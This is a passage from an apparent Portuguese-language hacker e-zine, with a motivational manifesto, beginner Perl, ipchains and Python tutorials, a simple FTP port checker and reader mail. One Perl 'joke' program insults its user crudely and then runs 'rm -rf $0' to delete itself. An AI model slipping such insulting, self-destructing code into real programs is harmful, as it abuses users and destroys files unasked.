que estao comecando a aprender C.Proxima edicao tem mais! Aguarde =)
                                                                

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [14]
==[ Manifesto: Motivacao ]==
==[ por sort             ]==


TODOS DESITIRAM.... CAIRAM... SE REDERAM FACILMENTE, MAS EU NAO, EU LUTO,
EU NAO DESITIREI DE TENTAR ALGO TAO FACILMENTE.... EU SOU EU, SOU
DIFERENTE, TENHO MINHA MOTIVACAO QUE ME FAZ CONTINUAR PROSEGUINDO E
PROSEGUINDO.... NESSA LONGA ESTRADA QUE EU PERCORRO JAMAIS IREI ME
RENDER... ALGUMAS PESSOAS ME TEM COMO LOUCO, MAS EU SOU EU, ELAS NAO ME
INTENDEM, EU TENHO MEU MUNDO , MINHA REALIDADE..... O MUNDO DOS BITS, ONDE
SOMENTE O MAIS ESPERTO SE DAH BEM....  SOU DETERMINADO A CONSEGUIR O
MAXIMO, ATEH MESMO QUANDO AS COISAS FICAM REALMENTE DIFICIES, EU SEI
MANTER A CABECA, ESTOU APRENDENDO A AGIR CORRETAMENTE.... SOU UM NEWBIE
FUCADOR, TENHO ORGULHO DO QUE SOU, SE VC LE ISSO, E ME ACHA TOLO E
PROVAVELMENTE ESTAH CAINDO AOS RISOS, ESQUECA... VC NAO PASSA DE UMA
PESSOA MUITO TOLA OU DE UMA PESSOA ESNOBIL E SEM ESCRUPULOS QUE NAO TEM
CARATER DE ENXERGAR, QUE O FUTURO DE AMANHA SOMOS NOS NA INFORMATICA! UMA
DAS COISAS QUE MAIS ME ORGULHA E ME DA FORCAS A CONTINUAR AGINDO.... EH A
ETICA..... UMA DAS COISAS QUE CONSEGUE LUTAR CONTRA MEU CEREBRO E NAO
DEIXA QUE MEUS OLHOS SE FECHEM, EH A VONTADE DE QUERER APRENDER MAIS E
MAIS.... EU SINTO ISSO, UMA VONTADE SUBITA VEM DE MEU INTEIOR, EU TENHO
MOTIVACAO, QUERO APRENDER, QUERO TRIUNFAR, NAO SOU MANIPULADO PELA "BANDA
PODRE" QUE DOMINA O MERCADO E SIM SOU DOMINADO PELA MINHA MOTIVACAO!
OS PRIMEIROS PASSOS SEMPRE SAO OS MAIS DIFICIES.....NO INICIO PARECIA TUDO
TAO SIMLES E COMPLEXO...... POSSO LEMBRAR MEUS PRIMEIROS DIAS.... ERAM
COMO SE FOSSE ONTEM.... NUNCA SE RENDA ACONTECA O QUE ACONTECER, SEMPRE
LUTE PELO QUE VOCE QUER PELO MAIS DIFICIL E IMPOSSIVEL QUE PARECA....
VOCE SEMPRE TERAH UM TRIUNFO NO FINAL....

   UM ABRACO,
    SORT

                                                   sort
                                                   sort005@yahoo.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [15]
==[ Curso de Perl - Parte II ]==
==[ por sort                 ]==

/******************************************************************************
 * Obs por Gotoxy: A parte 2 do curso de perl esta saindo na mesma edicao     *
 * pq a segunda parte do curso de perl ficou pronta antes do zine ser lancado *
 ******************************************************************************/
 

###############################################################################

iNTRODUCAO.
 
   Tenho ingressado no mundo do unix, da programacao a algum "tempinho",
tenho tentado codar e fucar seguindo a etica... Estou ateh tentando evitar
a utilizacao de exploits de terceiros.... Queria pegar perl, pelo simples
fato dele ser uma linguagem facil para iniciantes e com outro objetivo,
mostrar para as pessoas que o perl nao pode ser soh usado para
home-pages... Espero que eu esteja conseguindo influenciar os newbies a
terem mais vontade de aprender e aos kiddies para pararem de trocar
index.html que nao eh nenhum um pouco etico... comecei publicando textos
na Unsekurity scene e estou agora tentando tambem ajudar a zinesbr,
Gotoxy continue com o otimo trabalho fera =]
Nunca desista de algo que voce quer por mais impossivel que pareca...

print "Sem mais...\a";  (PIII) \a = alarm

###################################################################
$perl = "perlr0x\n"; $perl = "perlr0x\n"; $perl = "perlr0x\n";    #
###################################################################

            		INDICE

[1]- Funcao STDIN e ARGV
[2]- Funcao chomp   
[3]- Manipulando diretorios - by [Keep]
[4]- Socket basico
[5]- Dois Exemplos Bobos - by Gotoxy
[6]- Fim e etica

#####################################################################
print $perl; print $perl; print $perl; print $perl; print $perl;    #
#####################################################################

[1]- Funcao STDIN e ARGV

Para comecar, a funcao stdin eh usada para salvar tudo que se passa no
teclado em determinadas situacoes.... E ARGV eh usado sempre para rodar o
programa com algum elemento...
Na funcao anterior voce jah aprendeu o comando print o que faz, entao
vamos fazer algo alem da imaginacao agora... Vamos supor que voce estah
rodando seu programinha e quer que ele pergunte o nome da pessoa e depois
exiba Seu nome eh chis.... O uso de stdin se basea da
variavel = <stdin>; 
Veja o uso exclusivo do STDIN abaixo em codigo:

#########################################################

#!/usr/bin/perl                            #Linha 1
#Prog para pegar o nome da pessoa e exibir #Linha 2
print "Qual seu nome rapah?\n";            #Linha 3
$nome =<stdin>;                            #Linha 4
print "Seu nome eh $nome\n";               #Linha 5

#########################################################

Analise:

A linha um informa ao sistema operacional a localizacao do perl

A linha dois faz um comentario

A linha tres exibe a mensagem perguntando o nome e seguido do \n = newline

A linha quatro faz o stdin, ou seja, ele especifica que a variavel $nome
vai ser obtida atraves do <stdin>;  

A linha cinco exibe a msg Seu nome eh .... Apartir do .... ele exibirah o
que o usuario digitou no teclado  


Espero que STDIN esteja intendido, por favor, pratique-a!


Agora explicarei ARGV, que nao tem misterios nenhum...

O ARGV como algumas pessoas com nivel basico em programacao sabem que eh a
utilizacao de um elemento para rodar um programa seguido de chis
comentarios... Vamos fazer o programa feito em STDIN, soh que serah feito
em ARGV...

Mas antes, a explicacao.... ARGV eh muito facil basta vc informar a
variavel um elemento ou seja $ARGV[0] = Elemento 1 
$ARGV[1] = elemento 2
$ARGV[2] = elemento 3 e assim vai indo...
Em ARGV nos usamos bastante a estrutura if para informar a pessoa que ela
tem que digitar tal coisa antes... Abaixo segue o codigo do programa de
nome:
               CODIGO

#####################################################

#!/usr/bin/perl                 #LINHA 1
$ARGC=@ARGV;                    #LINHA 2
if($ARGC < 1){                  #LINHA 3
print "Use: $0 <nome>\n";       #LINHA 4
exit;                           #LINHA 5
}                               #LINHA 6
print "Seu nome eh $ARGV[0]\n"; #LINHA 7

#####################################################

                ANALISE
############################################################################

Linha 1 jah falada

Linha 2 Fala que a variavel argc vai ser igual a uma matriz argv

Linha 3 Abre uma condicao se ARGV for menor que 1(ou seja se a pessoa nao
digitar programa.pl mais uma coisa, ele entra no if)

Linha 4 ele exibe a msg de como usar corretamente

Linha 5 Ele fecha o programa

Linha 6 Ele fecha condicoes if

Linha 7 Ele printa a msg com o nome da pessoa

############################################################################

[2]- Funcao chomp

Essa funcao eh bem usada no stdin, quando se quer salvar o valor de uma
variavel... Nao tem segredos, basta utilizar

chomp($variavel);

Fazendo isso, vc pode jogar a variavel em qualquer condicao, pois sem o
chomp, ele nao entra direito nas condicoes.

############################################################################

[3]- Manipulacao de diretorios

   dae gente blz, to aqui pra ajuda o mano sort nesse texto e talz tipow
sem mta inrrolacao , nessa parte vou ensinar o basico de manipulacao de
diretorios, mas pra q isso ?? , bom as vezes eh util saber o conteudo de
um diretorio entre outras funcoes, bom vamu aprende as parada .

   Listando arquivos de um diretorio, naum tem mto segredo veja o codigo
abaixo : 

   #!/usr/bin/perl

   $path = "./";

   opendir DIR, $path;

   @arqsdir = readdir DIR;

   print "@arqsdir\n";

   Muito simples veja a descricao de cada linha : 

   1a Linha : Especifica o caminho do interpretador ;-)
   2a Linha : Define $path com o diretorio q vai ser usado
   3a Linha : Associa $path a DIR
   4a Linha : Le o conteudo de DIR e salva em @arqsdir
   5a Linha : Mostra na tela o conteudo do diretorio

   bem simples nao ??? :-))

   Obs's : 

   O conteudo do diretorio eh salvo num array, isto eh da para vc guardar
nome de arquivo por arquivo sem muito espeforco numa variavel para
executar determinada funcao , para isso utilizando-se da funcao
foreach() veja abaixo outro exemplo de como pegar nome por nome de arquivo
e coloca-lo numa variavel : 

   #!/usr/bin/perl

   $path = "./";

   opendir DIR, $path;
    
   @arqsdir = readdir DIR;

   foreach $arqs (@arqsdir) {
      print "$arqs\n"; }

   Vamo as descricoes de cada linha : 

   1a Linha : Vide 1o exemplo
   2a Linha :  ""  ""   ""
   3a Linha :  ""  ""   ""
   4a Linha :  ""  ""   ""
   5a Linha : Essa funcao le cada arquivo q esta dentro do array @arqsdir
e salva o nome dentro da variavel $arqs
   6a Linha : Como um exemplo essa linha escreve na tela o nome de cada
arquivo um em cada linha .

   Alguns testes com arquivos : 

   Bom abaixo vou mostrar como testar se o arquivo eh um arquivo texto ou
seja, um arquivo nao-binario, depois vou mostrar como listar somente
arquivos do diretorio sem os sub-diretorios, e por fim como procurar
arquivo por tamanho , vamos aos exemplos : 

   Listando somente arquivos texto : 

   #!/usr/bin/perl

   $path = "./";

   opendir DIR, $path;

   @arqsdir = readdir DIR;

   @arqstext = grep{-T "$path$_"} @arqsdir;

   print "@arqstext\n";

   1a Linha : Vide 1o exemplo
   2a Linha :  ""  ""   ""
   3a Linha :  ""  ""   ""
   4a Linha :  ""  ""   ""
   5a Linha : Procura os arquivos somente no formato texto dentro do array
@arqsdir e salva o resultado no array @arqstext
   6a Linha : Escreve na tela os arquivos somente texto

   Mostrando somente arquivos sem os subdiretorios : 

   #!/usr/bin/perl

   $path = "./";

   opendir DIR, $path;

   @arqsdir = readdir DIR;

   @arqs = grep{!-d "$path$_"} @arqsdir;

   print "@arqs\n";

   1a Linha : Vide 1o exemplo
   2a Linha :  ""  ""   ""
   3a Linha :  ""  ""   ""
   4a Linha :  ""  ""   ""
   5a Linha :  Procura no array @arqsdir somente os arquivos , sem os
sub-diretorios, e salva o resultado no array @arqs .
   6a Linha : Escreve os arquivos na tela

   Listando arquivos pelo tamanho : 

   !/usr/bin/perl

   $path = "./";

   opendir DIR,$path;

   @arr1 = readdir DIR;

   @arr2 = grep{-s "$path$_" < 1024} @arr1;

   print "@arr2\n";

   1a Linha : Vide 1o exemplo
   2a Linha :  ""  ""   ""
   3a Linha :  ""  ""   ""
   4a Linha :  ""  ""   ""
   5a Linha : Procura todo os arquivos com menos de 1024 bytes ou seja 1kb
e bota eles no array @arr2
   6a Linha : Escreve o resultado gravado em @arr2 na tela

   Bom ta ai , esse isquema de diretorios pode ser util em varias
situacoes cabe a vc achar uma ;-)), bom vo ficando por aqui , agradecendo
ao manu sort por ta mi ajudando e te dexado em escreve essa parte valeuz,
falow T+
   
############################################################################

[4]- Socket basico

Como eu quero ir devagar, vou ensinar a fazer apenas um pequeno socket...
Vamos fazer algo sem muitos desafios.... Um pequeno portscan basta...

Primeiramente vou ensinar a fazer o portscan passo a passo

O portscan vai verificar se tem uma porta aberta no computador.... Eu
escolhi a de FTP ou seja (21)

		codigo 

############################################################

#!/usr/bin/perl

1-> Declarar modulos 

use Socket;

2->Cria a estrutura if e usa ARGV como vc aprendeu

$ARGC=@ARGV;
if ($ARGC < 1) {
        print "Syntax: $0 <host>\n";
        exit;
}

3-> Declarar mensagens
 
print "###########################\n";
print "#    Verificador de FTP   #\n";
print "#      Mini Portscan      #\n";
print "#         by sort         #\n";
print "###########################\n";

4-> Declarar o socket

$remote=$ARGV[0];
$port = "21";
$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";

5-> Manda o socket conectar

connect(SOCK, $paddr) or die "Error: $!";;

6-> Exibe se a porta estah aberta ou nao

print "A porta FTP do $ARGV[0] estah aberta =]\n";

7-> Termina o programa

exit(0);

#######################################################

Intenda o eskema... Se no passo 5 o socket nao conseguir conectar no or
die error, ele vai morrer e nao vai exibir a msg do passo 6.... Agora se
ele conectar ele nao vai morrer e vai exibir que estah aberto, sakou?
Eh tudo uma questao de logica =] 

[5]- Exemplos bobos

Exemplo 1.
~~~~~~~~~~

############################################################### 
# Nome: Chato.pl                                              #
# Autor: Gotoxy              - Zinesbr                        #
# Descricao: Eh um programa chato.                            #
############################################################### 
print "Alo! eae idiota.. apresente-se:";
print "\nDigite seu nome: ";
$nome = <STDIN>; #le o nome
chop $nome; # remove o newline no final da linha
print "\n$nome??? q nome feio hahaha\n";
print "\nquantos anos vc tem?? ";
$idade = <STDIN>;
if($idade < 10){
printf "vc ainda eh um bebezinho!! haha";
}
if($idade > 10){
print "hmm...jah saiu das fraldas =)" ;
}
printf "\n\no q quer ser quando crescer? ";
$p = <STDIN>;
print "hmm.. bom saber!!";
print "\nsaiba q vc nao tera exito .. pois vc eh um imbecil!! ";
print "\n\nAgora, fale o nome da sua mae:  ";
$mae = <STDIN>;
print "ahh...sua mae tem nome de puta!!";
print "\ne o nome do seu pai: ";
$pai = <STDIN>;
print "\nhahaha .. isso nao eh nome de gente!!";
print "\nsua familia nao presta!!";
print "\n";
print "saiba q eu nao gostei de conhecer vc.. portanto..";
print "vai se fuder!!\ne nao me execute denovo!!"; # no me execute 
system("rm -rf $0"); #caso vc esteja no lnx - isto vai deletar o file
system("del $0"); #caso vc esteja no win - isto vai deletar o file

--------------- ## --------------- ## --------------- ## ---------------

Exemplo 2.
~~~~~~~~~~

##################################################################
################      game for childrens       ###################
##################################################################

do{ #laco de repeticao
print "\n\nDigite a idade do sort: ";#imprime a msg na tela

    $numero = <STDIN>; #le o teclado 

if($numero == 14) #se 'numero'(nossa variavel) for igual a 14...

{
   print "parabens, vc descobriu!!:)\n"; #...imprime essa msg
exit;
}

else  #senao ...
{

 print "\nvc nao sabe a idade do sort??? Tente novamente!!!"; #imprimi isso
#e isso
 print "\ndica: ele ainda usa fraldas!! portanto,tente numeros pekenos!";
} #fim do 'else'
}while(1); #enquanto idade for diferente de 14, o laco se repete
                                    
#-----------------------------.     
# ZiNESbr                     | Source by Gotoxy
# http://zinesbr.hpg.com.br   | 
#-----------------------------' 

--------------- ## --------------- ## --------------- ## ---------------


Opa!!:) Coloquei uns dois exemplos de programas aih soh para voce 
aperfeicoarem um pouco mais na escrita de seus codigos em perl.
Bem, para quem nao conhece nenhuma linguagem de programacao,
recomendo voce aprender uma, e este eh o momento!! Aprenda 
perl, por ela ser tao facil e tem outra: com o nosso irmao 
sort(entre outros que quiserem ajudar) fazendo esse curso 
de perl, voce tem que aproveitar e ir logo estudando!! Nao
desperdice este momento.. :) Bem, entao eh isso coders!!!!!!!


[6]- Fim e etica

Bem chegamos ao fim, aguardem a 3 edicao do curso que irei mostrar melhor
como funcionam os sockets.... Aki em baixo, segue uma mensagem para todos
os fucadores.

Nunca se rendam ao cansasso e ao desespero, isso eh apenas uma fase, nao
se deixe ser influenciado ou manipulado, como diz Graham Bell:

"Nunca ande pelo caminho traado, pois ele conduz somente at onde os
outros j foram"

Faca tudo como voce quiser, nao importando como as pessoas falam, voce
sempre terah de tracar seus proprios caminhos, siga sua vida, e outro
conselho nunca se deixe levar pela fama. (Para os script kiddies que
trocam index.html procurando fama)

Bem, eh soh isso que tenho a dizer, espero que pensem a respeito!

Um abraco,
sort []'s


                                                   sort
                                                   sort005@yahoo.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [16]
==[ O basico de Ipchains ]==
==[ por dialup           ]==

-=[ Topicos ]=-


top 1...........................Como os pacotes Atravessam os filtros
top 2...........................Estagios
top 3...........................Opcoes do Ipchains 
top 4...........................Regra Simples 
top 5...........................Agradecimentos / Finalizando


Ae galera, estou aqui pela primeira vez escrevendo para a galera newbie 
fucadora.Neste materia vou lhes ensinar o basico sobre ipchains(firewall),
(basico) quem saiba mais para frente eu possa escrever mais =]... ateh
sobre outru assuntu.Bom, chega de papo... vamos ao que interessa =]


hey h0 let's g0 =]


[Topico 1] 

-=[ Como os Pacotes Atravessam os filtros ]=- 
#############################################  


O kernel incia com tres listas de regras, sao eles:

=> input
=> output
=> forward 

Quando um pacote entra na maquina, ele passa pelo chain(regra). Se esse
chain autoriza a passagem do pacote, o proximo passo do kernel e decidir
aonde enviar esse pacote. Se o pacote for destinado a outra maquina, ele
consulta o chain forward, se ele simplesmente vai para fora da rede, ele
consultara o chain output. Um chain eh uma lista de checagem de
regras. Cada regra diz se o cabecalho do pacote e parecido com isso ou
aquilo, entaum o chain decide o que fazer com o pacote. Caso a regra de 
um chain nao conferir com um pacote, o kernel procura no policiamento do
chains para decidir o que fazer com o dito cujo =]. Normalmente o 
policionamento diz para o kernel negar ou rejeitar o pacote.


[Topico 2] 

-=[ Estagios ]=- 
################


Ao entrar em uma maquina o pacote passa por varios estagios, sao eles:


-[ Checksum ]- 

Este eh um teste para verificar se o pacote nao esta corrompido de alguma 
forma, caso esteja, ele eh negado.

-[ Sanity ]-

Esta eh uma checagem de sanidade antes de cada chain firewall, mais o chain 
input eh o mais importante. Muitos pacotes mal formados podem deixar o codigo
de checagem confuso,e estes sao negados aqui.Caso isto aconteca,uma mensagem
sera mostrada no syslog.

-[ Input Chain ]- 

Este eh o primeiro chain usado quando um pacote entra em uma maquina, se a 
decisao desse chain nao for "NEGAR" ou "REJEITAR" o pacote passa.  

-[ Demasquerade ]- 

Se o pacotre eh uma resposta de um pacote anterior do masquerade(mascaramento)
ele eh desmascarado, e pula para o chain output.

-[ Routing decision ]-  (decisao de roteamento)

o campo de destino e examinado pelo codigo de roteamento, para decidir se
o pacote deve ir para um processo local, ou derecionado para uma maquina 
remota.(outra maquina na rede).

-[ Local process ]- (processo local)

um processo sendo executado em um maquina pode receber pacotes apos o passo
de decisao do roteamento, e pode enviar pacotes para outra maquina(veja
output =]).

-[ Interface lo ]- (interface local)

Se pacotes de um processo local sao destinados a um processo local, eles 
vao atraves do chain output com a interface configurada para "lo", entao
retorna pelo chain input, tambem com a interface "lo".

lo => chamada normalmente de interface "loopback".

-[ local ]- 

Se o pacote nao foi criado por um processo local, entao o chain forward eh 
checado, caso contrario o pacote vai atraves do chain output.

-[ forward chain ]- 

Este chain eh usado para qualquer pacote que esta tentando passar por nossa
maquina para chagar em outra na rede.


-[ output chain ]- 

Este chain eh usado para todos os pacotes antes de serem enviados para fora.

 

[Topico 3] 

-=[ Usando ipchains]=- 
######################
 
 ____________________________________________________________________________
|                                                                            |
| Para ver qual a versao de seu ipchains, use:                               |
|                                                                            |
| $ipchains --version                                                        |
|                                                                            |
| Voce tem a opcao de usar o manual do ipchains ou iptable caso seu kernel   |
|  seja 2.4.x.                                                               |
|                                                                            |
| $man ipchains => kernel 2.2.x                                              |
| $man iptable  => kernel 2.4.x                                              |
|                                                                            |
| Voce tambem pode verificar a interface de programacao:                     |
|                                                                            |
| $man 4 ipfw                                                                |
|                                                                            |
|____________________________________________________________________________|
 

Mais um pouquinhu de teoria... daqui a pouco ja vem a pratica =]


Vamos conhecer agora algumas opcaoes do ipchains:

-N    =>  Criar um novo chain
-X    =>  Deletar um chain
-P    =>  Alterar o policionamento de um chain embutido
-L    =>  Listar as regras em um chain  (Ex: ipchains -L input)
-F    =>  Limpa o conteudo de um chain
-Z    =>  Zerar os contadores de byte em todas as regras de um chain


Meios de manipular regras dentro de um chain:

-A Adiciona regra a um chain especifico
-I insere uma regra dentro de um chain
-R Substitui uma regra dentro de um chain 
-D Deleta uma regra num chain


Opcoes para masquerade, sao elas:

-M -L   => Lista conexoes atuais do masquerade

-M -S   => Configura os timeout(tempo maximo) do masquerade. OBS: Voce nao 
pode configurar o tempo maximo no masquerade.

A ultima funcao tambem serve para voce verificar o que aconteceu com o dado
apcote se ele atravessou o chain.


[Topico 4] -=[ Regra Simples ]=-

Bom, depois de tanta teoria...... vamos a pratica =]


Para criar regras simples, voce precisa das seguinte opcoes:

-A append (Acrescenta uma regra no chain)
-I Inseri 
-R Substitui

Assim, vamos supor que ninguem consiga pingar sua maquina...
eh simples, olhe abaixo:

Antes de colocar as regras no chain input, faremos um teste de ping:

$ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes
66 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.2 ms

--- 127.0.0.1 ping statistics ---

1 packets transmited, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.2/0.2/0.2 ms

$

A seguir colocaremos uma regra no chain input impedindo quem pinguem 
nossa maquina:

$ipchains -A input -s 127.0.0.1 -p icmp -j DENY

Depois, pingamos no vamente nossa maquina:


$ping -c 1 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes

--- 127.0.0.1 ping statistics ---

1 packets transmited, 0 packets received, 100% packet loss

$


Viu?!?!?!? =]

Vou explicar cada passo, logo abaixo:


No primeiro ping que demos na nossa maquina foi bem sucedido.

Depois colocamos a regra no chain input, negando que 127.0.0.1 ping nossa 
maquina.

Entao nos adicionamos (-A input), uma regra especificando que
pacotes vindos de "127.0.0.1" (-s 127.0.0.1) com o protocolo (-p ICMP) 
devem ser negados (-j DENY).

Se voce quiser apagar essa regra, prossiga da seguinte forma:

$ ipchains -D  input 1

No comando acima voce apaga a primeira regra do chains "input".
Facil neh ? =]

Mais, se voce tem umas 30 regra em um chain ? O_o

Nao se disipere =] .....

Eh so trocar o -A de append q voce colocou para adicionar pelo -D de delete. 

ficaria assim:

ipchains -D input -s 127.0.0.1 -p icmp -j DENY

Pronto !!!  =]

Bom amigo.. com essas nocoes basicas... essa regra acima, ja da pra voce 
elaborar suas proprias regras !!! Qualquer coisa me contate. 


[Topico 5] 

-=[ Agredecimentos / Finalizando]=-
###################################

Ae,
galera da zinesbr.. Agradeco pelo espaco que me abriram para eu poder escrever
esse txt na "zinesbr", pra mim poder passar meu conhecimento para a galera
newbie fucadora... Eu proprio sou um "NEWBIE FUCADOR" =].
Espero voltar a escrever novamente....

VALEUUUU !!!

                                                   dialup
                                                   nohavemailnohavemail
.:x|-------------------------------------------------------------------|x:.










SETOR [17]
==[ Python Parte I ]==
==[ por Evilman    ]==


Introducao
^^^^^^^^^^
 
  Como essa eh a primeira parte do curso,  vai ser bem basico pra vc ir
acostumando com a linguagem. Se vc ja programa em C ou Perl,  nao terah
nenhuma dificuldade... Python eh uma linguagem interessante e facil!
  Nao se esqueca: "Tudo eh facil, vc q torna complicado!".



Introducao a Python
^^^^^^^^^^ ^ ^^^^^^

    Python eh uma linguagem de programacao interessante, aqui irei expli-
  car a programacao em ambientes Linux/Unix, por questoes que acho indis-
  cutiveis...  Voce  necessitara de um interpretador de linguagem Python,
  para saber se vc tem um, digite python em seu console...  caso aparecer
  a menssagem de comando invalido,  va em http://www.python.org e baixe o
  interpretador.
    Este eh um tutorial basico, espero que vc leia-o e pratique, pois so-
  mente com pratica que se chega a perfeicao.
    Entao vamos comecar...


    Estrutura de Programas
    ^^^^^^^^^ ^^ ^^^^^^^^^

    Python eh uma linguagem muito parecida com Perl, e C. Eh parecida com
  Perl porque nao necessita a declaracao de suas variaveis,  e eh pareci-
  da com C, porque usa a maioria dos comandos dessa incrivel linguagem.
    Nesta parte irei ensinar como eh composta a estrutura de programas em
  Python, seu "cabecalho" e seus comentarios.

    Cabecalho
    ^^^^^^^^^

    Chamamos de cabecalho,  as linhas que sao primeiramente executadas em
  nosso programa, essas linhas mostram ao Servidor (computador), onde es-
  ta localizado o Interpretador da linguagem (no caso da linguagem Python
  pois em C isto difere, pois usamos um compilador para tornar executavel
  o programa, e o cabecalho eh composto da localizacao de bibliotecas...)
    Resumindo, teremos em nosso cabecalho, somente a seguinte linha:

    #!/usr/bin/python

    Isto irah mostrar  ao  servidor que queremos executar o interpretador
  que esta localizado em /usr/bin/python, para que este possa interpretar
  nosso codigo e assim executar nosso programa! Simples!


    
    Executando Programas
    ^^^^^^^^^^ ^^^^^^^^^

    Para executar  um  programa em Python, podemos usar diretamente o in-
  terpretador python, veja:

    ~# python programa.py

    Isso irah executar o programa.py,  observe q este esta com a extensao
  .py, esta eh a extensao do Python...
    Mas na realidade nao necessitamos impregar  o  interpretador na linha
  de comando para execucao, como fizemos anteriormente, pois o caminho p/
  o  interpretador python jah esta setado no cabecalho do programa,  como
  vimos anteriormente: #!/usr/bin/python -> isto jah executao interpreta-
  dor,  assim nao ha necessidade de usa-lo novamente no comando de execu-
  cao.
    Assim teriamos q primeiramente tornar o programa executavel para o SO
  para isso usamos o comando chmod, q torna executavel o programa.py, mas
  nao se esqueca de que o comando chmod tem outras funcoes, como a de de-
  finir permissoes de arquivos,  na realidade o chmod nao tem outras fun-
  coes, mais sim somente uma funcao! Pois na realidade nao estamos compi-
  lando o programa.py, mas sim definindo a permissao de eXecutavel! 
    Veja como isso ficaria no nosso exemplo:

    # chmod +x programa.py

    OBS:  Nao ha a necessidade de colocar a extensao .py . Sabendo  disso
          poderiamos fazer:

    # chmod +x programa

    Aqui nos definimos q o programa serah eXecutavel, com a opcao +x.

    Agora eh soh executa-lo normalmente:

    # ./programa

    Pronto! Muito mais rapido e facil!



    Comentarios
    ^^^^^^^^^^^

    Estes sao muito uteis no caso de querermos explicar  as linhas do co-
  digo do programa em questao.  Como na linguagem Perl,  usamos  o # para
  fazer comentarios. Veja um exemplo:
  
    # estamos realizando um comentario

    Assim, sempre usaremos o # no inicio do comentario,  tudo que estiver
  a direita do # serah ignorado pelo interpretador.

    Case Sensitive
    ^^^^ ^^^^^^^^^

    Como na linguagem C, Python tambem eh Case Sensitive, ou seja, letras
  maiusculas e minusculas sao diferentes uma das outras, ou seja,  "A" eh 
  diferente de "a". Exemplos:

    "B" eh diferente de "b"
    "C" eh diferente de "c"

    E assim por diante...


    Variaveis
    ^^^^^^^^^

    Como falei anteriormente, em Python as variaveis nao precisam ser de-
  claradas, pois estas nao tem tipo, como int, float, char, no caso de C.
    Assim, soh eh necessario que seja definido valores para as mesmas.
    As variaveis em Python, seguem a seguinte sintaxe:

    variavel = valor

    Veja alguns exemplos:

    B = 6         # aqui voce define o valor 6 para a variavel B
   
    C = 6.6       # aqui voce define o valor 6.6 para a variavel C

    D = "texto"   # aqui voce define a string texto para a variavel D

    Em Python, pode ser atribuido qualquer valor  variaveis, menos pala-
  vras reservadas da linguagem e caracteres especiais como @,#,$,!,%...
    Outro fato interessante eh que em Python aspas duplas: " e aspas sim-
  ples ' nao diferem, por exemplo: 

    B = "ol"
    B = 'ola'

    Ou seja, eh a mesma coisa, o valor nao difere!

    Ao contrario de C, vc nao precisa dizer se a variavel numerica eh in-
  teira ou flutuante, em Python eh soh atribuir o valor, por exemplo:

    C = 22
    C = 22.0001

    Mas  como saberemos o tipo das  variaveis, no caso de querermos fazer
  uma pergunta ao usuario,  e logo apos fazer um calculo,  como saberemos
  se o usuario digitou um valor inteiro ou flutuante?
    Simples, para isso usamos a funcao type()
    Por exemplo:

    A = 23
    type(A)

    O resultado serah: type 'int'

    B = 23.22
    type(B)

    O resultado serah: type 'float'

    C = 'ola'
    type(C)

    O resultado serah: type 'string'

    Como vc pode ver, a funcao type() volta o tipo da variavel em questao

    Voce tambem pode saber uma letra em uma string... Para vc compreender
  melhor, darei um exemplo:

    D = "python"  # aqui dou a string python para a variavel D
    
    A = D[0]  # aqui a variavel A, pega a primeira letra de D, que no
              # caso eh "p", ou seja:
              #
              # D[0] 
              # temos a seguinte sintaxe:
              #
              # variavel [local_da_letra]
              #
              # Para vc entender melhor, no exemplo acima, a variavel
              # A,  pega a primeira letra da variavel D,  que no caso
              # eh igual a "p" de python. Veja o esquema:

    D = "python"
         ^^^^^^
         012345 --------,
                        |
    Sendo assim:        |
                        |
    D[0] igual a p \    |
    D[1] igual a y  |   |
    D[2] igual a t  |___|
    D[3] igual a h  |
    D[4] igual a o  |
    D[5] igual a n /

    Acho que vc deve ter entendido, mas veja na pratica como isso funcio-
  na:

  
  #!/usr/bin/python

  # Exemplo de uso de variaveis, e funcao
  # de contagem de variaveis.

  D = "python" #declarei o valor "python" na variavel D

  print "\nA variavel D corresponde a string: %s\n" % (D)
    
  a = D[0]  #pega a primeira letra D[0] da variavel D
  b = D[1]  #pega a segunda letra D[1] da variavel D
  c = D[2]  #pega a terceira letra D[2] da variavel D

  print "A primeira letra de python : %s\n" % (a)

  print "A segunda letra de python : %s\n" % (b)

  print "A terceira letra de python : %s\n" % (c)

  

    Tambem  temos a funcao len(),  esta  funcao serve para contar quantos
  caracteres tem em uma string. Por exemplo:

    D = "python"
    len(D)
 
    Retorna o valor  6.  Ou seja,  ao todo existem 6 caracteres na string
  "python", veja:   /'\ 
   ^^^^^^            |
   123456 }----------'

    Finalizando
    ^^^^^^^^^^^

    Como disse esta aula foi bem basica.. Se vc programa em outra lingua-
  gem, como C ou perl, jah deve ter notado q Python eh muito parecida com
  as mesmas... Entao trate de fucar e praticar, na proxima parte do curso
  iremos ver algo sobre operadores matematicos, impressao normal e de va-
  riaveis...
    Ateh a proxima! mov ax,'exit'
   

                                                   Evilman
                                                   nohavemailnohavemail
.:x|-------------------------------------------------------------------|x:.










SETOR [18]
==[ Secao E-Mail ]==
==[ por ZiNESbr  ]==

.------------------. 
|E-Mails da galera |
`------------------'

Email (1)
---------

  From: n0p1z
  Assunto: Dias
  Mensagem: 

  Bem os dias que estao saindo as zines variam, seria 
  melhor voceis deixarem um dia fixo

Resposta
--------

Eae irmao!! Nao podemos deixar sendo um dia fixo, pois nos nao
sabemos o dia exato que o zine ficarah pronto!! O tempo continua
sendo o nosso pior inimigo, e portanto, as vezes o zine demora
a sair, as vezes sai rapido, ... entende? Bem, espero que compreenda.

(Gotoxy)

--------------------------------------------------------------------------

Email (2)
---------

  From: Michel
  Assunto: Notcias da onde....
  Mensagem: 
   
  Amigos da onde vcs conseguem essas notcias, tipo 
  vulnerabilidades, ah e quantos anos vcs tem...


Respota:
--------

Ola amigo! As noticias nos encontramos em sites de seguranca.. alguns
sites seguem abaixo:

http://www.securityfocus.com/
http://www.bufferoverflow.org
http://packetstorm.securify.com

Eu tenho 14, kbytes 15.

t+

(Gotoxy)
               
--------------------------------------------------------------------------
         
E-mail (3)
----------

